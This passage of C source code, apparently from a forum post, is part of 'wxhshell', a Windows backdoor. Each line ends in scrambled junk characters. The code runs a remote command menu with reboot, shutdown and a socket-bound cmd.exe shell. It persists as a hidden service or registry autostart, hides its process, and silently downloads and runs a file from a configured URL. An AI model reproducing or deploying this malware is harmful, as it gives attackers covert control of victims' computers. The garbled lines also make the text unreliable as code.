  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6vA 5;a@  
  } uy{KV"%"^g  
  else { w(-n1oSo  
WG{/I/bJ_  
    switch(cmd[0]) { G9q0E|  
  }VRo:sJb  
  // 帮助 B)dynGF8i  
  case '?': { AK =k@hT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hkt'~ L*   
    break; < i|+p1t  
  } )Cl&"bX  
  // 安装 }tPl?P'`  
  case 'i': { ^D|c  
    if(Install()) '*; rm*n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9g"H9)EZ^  
    else 0oMMJ6"i   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { Se93o  
    break; f7s.\  
    } IuF-bxA  
  // 卸载 \zwb>^  
  case 'r': { 'z'm:|JW  
    if(Uninstall()) 5EUkp6Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nLg7A3[1v  
    else t;'.D @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L8 J/GVmj  
    break; ?`>yl4  
    } OA0\b_  
  // 显示 wxhshell 所在路径 9P$'ON'"  
  case 'p': { $7,dKC &  
    char svExeFile[MAX_PATH]; ($TxVFNT  
    strcpy(svExeFile,"\n\r"); 6eD[)_?]y  
      strcat(svExeFile,ExeFile); #a&Vx&7L  
        send(wsh,svExeFile,strlen(svExeFile),0); dEiX! k$#  
    break; HNPr| (  
    } ^5+-7+-S  
  // 重启 ~0NZx8qG   
  case 'b': { ,3j*D+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ln.~>FO  
    if(Boot(REBOOT)) {~"=6iyj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QI- 3m qL  
    else { u$"5SGI6  
    closesocket(wsh); slx^" BF^  
    ExitThread(0); aZRgd^4  
    } '9)@U+yfQ  
    break; \Mi< ROp5  
    } ){} #v&  
  // 关机 `@&qf}`  
  case 'd': { [F%\1xh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L8fr uwb  
    if(Boot(SHUTDOWN)) weOMYJO;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yBoZ@9Do  
    else { rW^&8E[  
    closesocket(wsh); 5c#L6 dA)  
    ExitThread(0); +CkK4<dF  
    } m3D'7*U  
    break; ~$$V=$&  
    } a AuQw  
  // 获取shell &}FYz8w 2/  
  case 's': { r0sd_@Oj  
    CmdShell(wsh); b6lL8KOu  
    closesocket(wsh); + y^s 6j}  
    ExitThread(0); `y\:3bQ4  
    break; ,'j5tU?c  
  } }&j&T9oX  
  // 退出 8C2t0u;Y .  
  case 'x': { 7mN?;X33  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cur) |  
    CloseIt(wsh); Di6:r3sEO  
    break; QWoEo  
    } c2C8}XJ|O  
  // 离开 )Mok$  
  case 'q': { 'Zzm'pC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^vPa{+N  
    closesocket(wsh); -[F^~Gv|;  
    WSACleanup(); LF0~H}S;6B  
    exit(1); DlP}Fp{  
    break; CUG6|qu  
        } `/U:u9H9v  
  } *+IUGR  
  } ZoUfQ!2*  
5E@V@kw  
  // 提示信息 jsR1jou6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cfj*[i4  
} \|(;q+n?k  
  } SbZk{lWcq  
K5KN}sRs"  
  return; 6Z"%vrH  
} TwH(47|?Nt  
Q>rQ/V  
// shell模块句柄 $5A XE;~{  
int CmdShell(SOCKET sock) qgDBu\  
{ Zy#r<j]T  
STARTUPINFO si; Cn"N5(i  
ZeroMemory(&si,sizeof(si)); "7 l}X{b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d+^;kse  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HwcGbbX)  
PROCESS_INFORMATION ProcessInfo; LP\ Qwj{  
char cmdline[]="cmd"; ka'MF;!rc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f`cz @  
  return 0; rYLNV!_  
} uJWX7UGuz  
QIw.`$H+  
// 自身启动模式 i2*nYd`K  
int StartFromService(void) jfWIPN  
{ ?>&8,p17  
typedef struct ABSeX  
{ x:2_FoQ  
  DWORD ExitStatus; i.< }X  
  DWORD PebBaseAddress; Ik,w3}*P*  
  DWORD AffinityMask; wO"Q{oi+  
  DWORD BasePriority; VcP#/&B|  
  ULONG UniqueProcessId; Ax\Fg 5  
  ULONG InheritedFromUniqueProcessId; &Jn%2[;  
}   PROCESS_BASIC_INFORMATION; 2c~^|@   
"Vh(%N`6  
PROCNTQSIP NtQueryInformationProcess; qM`SN4C  
|joGrWv4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,s2.l/5r;C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4$J/e?i  
WP>O7[|  
  HANDLE             hProcess; #:yZJS9f9  
  PROCESS_BASIC_INFORMATION pbi; [L275]4n!]  
O+yR+aXr'8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9O)>>1}*S  
  if(NULL == hInst ) return 0; itvwmI,m\  
2rH6ap  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XkD_SaL}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |EApKxaKD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HaSH0eTw  
H^s SHj  
  if (!NtQueryInformationProcess) return 0; ?-VN+ d7  
qkEy$[D9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {/Cd^CK  
  if(!hProcess) return 0; =f["M=)ZJ  
 O~S}u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w.3R1}R  
r~;N(CG  
  CloseHandle(hProcess); (y36NH+  
?R+$4;iy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZQ:Y5 ph  
if(hProcess==NULL) return 0; HlO+^(eX  
KYQ6U.%W  
HMODULE hMod; :b=0_<G  
char procName[255]; C+k>Ajr  
unsigned long cbNeeded; <(^pHv7Q  
<uvshZ v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v Zxy9Wmc  
$X?V_K;9/  
  CloseHandle(hProcess); Nt'5}  
}>w; +XU  
if(strstr(procName,"services")) return 1; // 以服务启动 }u&JX  
9~_6mR<  
  return 0; // 注册表启动 pGFocw  
} {)y4Qp  
jDnh/k0{d  
// 主模块 V;V9_qP,  
int StartWxhshell(LPSTR lpCmdLine) @^e@.)  
{ `#ztp)&  
  SOCKET wsl; ox6rR  
BOOL val=TRUE; j{=%~  
  int port=0; L:<'TXsRA  
  struct sockaddr_in door; GZ={G2@=I  
.EdV36$n  
  if(wscfg.ws_autoins) Install(); tu'MYY  
cG?266{g  
port=atoi(lpCmdLine); [=Z{y8#:J  
RB"rx\u7K  
if(port<=0) port=wscfg.ws_port; IFY !3^;zO  
b$`O|S  
  WSADATA data; &<V~s/n=6?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mm8O  
2XtQ"`)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CmTJa5:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); riL!]'akV  
  door.sin_family = AF_INET; Jj " {r{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {>Px.%[<  
  door.sin_port = htons(port); v4$,Vt:7  
BP6Shc|C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zYL^e @  
closesocket(wsl); \K6J{;#L  
return 1; gm DC,"Y<  
} 5IK@<#wE  
5glGlD6R  
  if(listen(wsl,2) == INVALID_SOCKET) { 3[0:,^a  
closesocket(wsl); YLGLr @:q  
return 1; u W T[6R  
} yH^*Fp8V  
  Wxhshell(wsl); 2e"}5b5  
  WSACleanup(); GN0'-z6Uy  
[w f12P  
return 0; 0^[6  
,)1e+EnV&  
} 7W"menw  
B*IDx`^Y  
// 以NT服务方式启动 4(82dmKO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j`B{w   
{ V{{x~Q9  
DWORD   status = 0; SO/]d70HG  
  DWORD   specificError = 0xfffffff; j&.BbcE45  
*q{UipZbx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7 w,FA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [3Rj?z"S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]||=<!^kn  
  serviceStatus.dwWin32ExitCode     = 0; s 'x mv{|  
  serviceStatus.dwServiceSpecificExitCode = 0; :8rCCop Uv  
  serviceStatus.dwCheckPoint       = 0; *\",  qMp  
  serviceStatus.dwWaitHint       = 0; 5eA]7$ic  
EB<q.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S!_?# ^t  
  if (hServiceStatusHandle==0) return; CN(4;-so)  
6^;!9$G|D*  
status = GetLastError(); Oy$BR <\  
  if (status!=NO_ERROR) (+dRD] |T  
{ 3:1 c_   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;0}2@Q2@ZK  
    serviceStatus.dwCheckPoint       = 0; +;;%Atgn  
    serviceStatus.dwWaitHint       = 0; E e>j7k.G.  
    serviceStatus.dwWin32ExitCode     = status; o[hP&9>q  
    serviceStatus.dwServiceSpecificExitCode = specificError; #Ca's'j&f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :g[x;Q [@  
    return; VY@hhr1s~  
  } u^%')Ncp  
2j1v.%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XWpnZFjE  
  serviceStatus.dwCheckPoint       = 0; |wQZ~Ux:  
  serviceStatus.dwWaitHint       = 0; [oLQd-+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y51D-vj  
} =pyZ^/}P  
c0q)  
// 处理NT服务事件,比如:启动、停止 :iB%JY Ad  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z/k~+-6O  
{ L^1q/4${  
switch(fdwControl) <Cu?$  
{ ?^ezEpW  
case SERVICE_CONTROL_STOP: GD{fXhgk  
  serviceStatus.dwWin32ExitCode = 0; b.q"s6u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N('DIi*or  
  serviceStatus.dwCheckPoint   = 0; GY]6#>D#7  
  serviceStatus.dwWaitHint     = 0; %W',cu  
  { Ej09RO"pB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r5fkt>HZ  
  } .y9rM{h}b  
  return; p]z54 ~  
case SERVICE_CONTROL_PAUSE: XqS*;Zj0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; np\2sa`  
  break; Tv,.  
case SERVICE_CONTROL_CONTINUE: !riMIl1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0gD59N'C  
  break; ec4%Wk2  
case SERVICE_CONTROL_INTERROGATE: i2a"J&,6O  
  break; 2vdQ&H4  
}; Jo aDX ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =#2qX> ?  
} qL5#.bR  
,9tbu!Pvq  
// 标准应用程序主函数 :CST!+)o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k.xv+^b9Q  
{ =>}.W:=  
^Z4q1i)JO  
// 获取操作系统版本 (&S[R{=^j  
OsIsNt=GetOsVer(); :Mu8W_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JRjMt-7H_  
1;kG[z=A  
  // 从命令行安装 l&??2VO/t  
  if(strpbrk(lpCmdLine,"iI")) Install(); |8qK%n f}  
kH8$nkeev  
  // 下载执行文件 }d3N`TT  
if(wscfg.ws_downexe) { Fr3d#kVR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CpRu*w{  
  WinExec(wscfg.ws_filenam,SW_HIDE); x"l lX  
} JdUz!=I  
O})u'  
if(!OsIsNt) { SXo[[ao  
// 如果时win9x,隐藏进程并且设置为注册表启动 SeNF!k% Y  
HideProc(); yEpN,A  
StartWxhshell(lpCmdLine); q"LJwV}W  
} ;;w6b:}-c  
else @>#{WI:"~  
  if(StartFromService()) jQxPOl$-  
  // 以服务方式启动 Fi?Q 4b  
  StartServiceCtrlDispatcher(DispatchTable); mU3Y)  
else h%1~v$W`  
  // 普通方式启动 N5f0| U&  
  StartWxhshell(lpCmdLine); b1+hr(kMRM  
6}i&6@Snq?  
return 0; ),;D;LI{S  
}
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只看该作者 1 发表于: 2006-10-10
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